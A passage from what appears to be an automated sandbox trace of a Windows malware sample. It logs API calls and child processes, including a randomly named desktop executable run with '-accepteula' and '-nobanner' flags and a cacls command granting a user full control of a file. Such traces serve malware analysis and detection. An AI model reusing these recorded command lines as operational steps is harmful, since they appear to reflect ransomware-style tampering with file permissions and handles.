(in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0100.249] GetUserDefaultLCID () returned 0x409 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ef820, cchData=128 | out: lpLCData="0") returned 2 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ef820, cchData=128 | out: lpLCData="0") returned 2 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ef820, cchData=128 | out: lpLCData="1") returned 2 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0100.250] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0100.250] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0100.252] GetProcessHeap () returned 0x330000 [0100.252] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20c) returned 0x3421e0 [0100.252] GetConsoleTitleW (in: lpConsoleTitle=0x3421e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.252] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0100.252] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0100.252] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0100.252] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0100.253] GetProcessHeap () returned 0x330000 [0100.253] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400a) returned 0x344f08 [0100.253] GetProcessHeap () returned 0x330000 [0100.253] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344f08 | out: hHeap=0x330000) returned 1 [0100.254] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0100.254] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0100.254] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0100.254] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0100.254] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0100.254] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0100.254] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0100.254] GetProcessHeap () returned 0x330000 [0100.254] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x58) returned 0x3446a8 [0100.254] GetProcessHeap () returned 0x330000 [0100.254] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x22) returned 0x3423f8 [0100.255] GetProcessHeap () returned 0x330000 [0100.255] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x58) returned 0x342428 [0100.256] GetConsoleTitleW (in: lpConsoleTitle=0x1ef518, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.367] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0100.367] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0100.368] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0100.369] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0100.370] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0100.370] GetProcessHeap () returned 0x330000 [0100.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x210) returned 0x342488 [0100.370] GetProcessHeap () returned 0x330000 [0100.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x72) returned 0x348fb8 [0100.370] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0100.371] GetProcessHeap () returned 0x330000 [0100.371] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x418) returned 0x3426a0 [0100.371] SetErrorMode (uMode=0x0) returned 0x0 [0100.371] SetErrorMode (uMode=0x1) returned 0x0 [0100.372] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3426a8, lpFilePart=0x1ef038 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef038*="Desktop") returned 0x25 [0100.372] SetErrorMode (uMode=0x0) returned 0x1 [0100.372] GetProcessHeap () returned 0x330000 [0100.372] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3426a0, Size=0x6e) returned 0x3426a0 [0100.372] GetProcessHeap () returned 0x330000 [0100.372] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3426a0) returned 0x6e [0100.372] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0100.372] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0100.372] GetProcessHeap () returned 0x330000 [0100.372] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x120) returned 0x342718 [0100.372] GetProcessHeap () returned 0x330000 [0100.372] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x238) returned 0x342840 [0100.379] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.379] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x1eedd4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eedd4) returned 0x3429f0 [0100.379] GetProcessHeap () returned 0x330000 [0100.379] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x342a30 [0100.379] FindClose (in: hFindFile=0x3429f0 | out: hFindFile=0x3429f0) returned 1 [0100.380] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0100.380] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0100.380] GetConsoleTitleW (in: lpConsoleTitle=0x1ef2ac, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.380] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef134, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef1fc | out: lpAttributeList=0x1ef134, lpSize=0x1ef1fc) returned 1 [0100.380] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef134, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef1f4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef134, lpPreviousValue=0x0) returned 1 [0100.380] GetStartupInfoW (in: lpStartupInfo=0x1ef0f0 | out: lpStartupInfo=0x1ef0f0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0100.380] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0100.382] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ef190*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef1dc | out: lpCommandLine="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner", lpProcessInformation=0x1ef1dc*(hProcess=0x78, hThread=0x74, dwProcessId=0xe20, dwThreadId=0xe24)) returned 1 [0100.392] CloseHandle (hObject=0x74) returned 1 [0100.392] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0100.392] GetProcessHeap () returned 0x330000 [0100.392] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x342d70 | out: hHeap=0x330000) returned 1 [0100.392] GetEnvironmentStringsW () returned 0x342c90* [0100.392] GetProcessHeap () returned 0x330000 [0100.392] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb84) returned 0x34af20 [0100.393] FreeEnvironmentStringsW (penv=0x342c90) returned 1 [0100.393] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0107.243] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1ef0d0 | out: lpExitCode=0x1ef0d0*=0x0) returned 1 [0107.243] CloseHandle (hObject=0x78) returned 1 [0107.244] _vsnwprintf (in: _Buffer=0x1ef218, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ef0dc | out: _Buffer="00000000") returned 8 [0107.244] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0107.244] GetProcessHeap () returned 0x330000 [0107.244] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34af20 | out: hHeap=0x330000) returned 1 [0107.244] GetEnvironmentStringsW () returned 0x342c90* [0107.244] GetProcessHeap () returned 0x330000 [0107.244] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb84) returned 0x34af20 [0107.244] FreeEnvironmentStringsW (penv=0x342c90) returned 1 [0107.244] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0107.244] GetProcessHeap () returned 0x330000 [0107.244] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34af20 | out: hHeap=0x330000) returned 1 [0107.244] GetEnvironmentStringsW () returned 0x342c90* [0107.245] GetProcessHeap () returned 0x330000 [0107.245] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb84) returned 0x34af20 [0107.245] FreeEnvironmentStringsW (penv=0x342c90) returned 1 [0107.245] GetProcessHeap () returned 0x330000 [0107.245] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3400d0 | out: hHeap=0x330000) returned 1 [0107.245] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef134 | out: lpAttributeList=0x1ef134) [0107.245] _get_osfhandle (_FileHandle=1) returned 0x80 [0107.245] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0107.245] _get_osfhandle (_FileHandle=1) returned 0x80 [0107.245] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0107.245] _get_osfhandle (_FileHandle=0) returned 0x3 [0107.245] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0107.246] SetConsoleInputExeNameW () returned 0x1 [0107.246] GetConsoleOutputCP () returned 0x1b5 [0107.246] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0107.246] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.246] exit (_Code=0) Process: id = "183" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x2097000" os_pid = "0xe14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "176" os_parent_pid = "0xdbc" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 754 os_tid = 0xe18 Process: id = "184" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x786cd000" os_pid = "0xe20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "182" os_parent_pid = "0xe0c" cmd_line = "bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 756 os_tid = 0xe24 [0100.956] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0100.956] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0100.956] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0100.956] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0100.956] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0100.956] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0100.956] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0100.957] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0100.958] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0100.959] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0100.960] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0100.961] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0100.961] 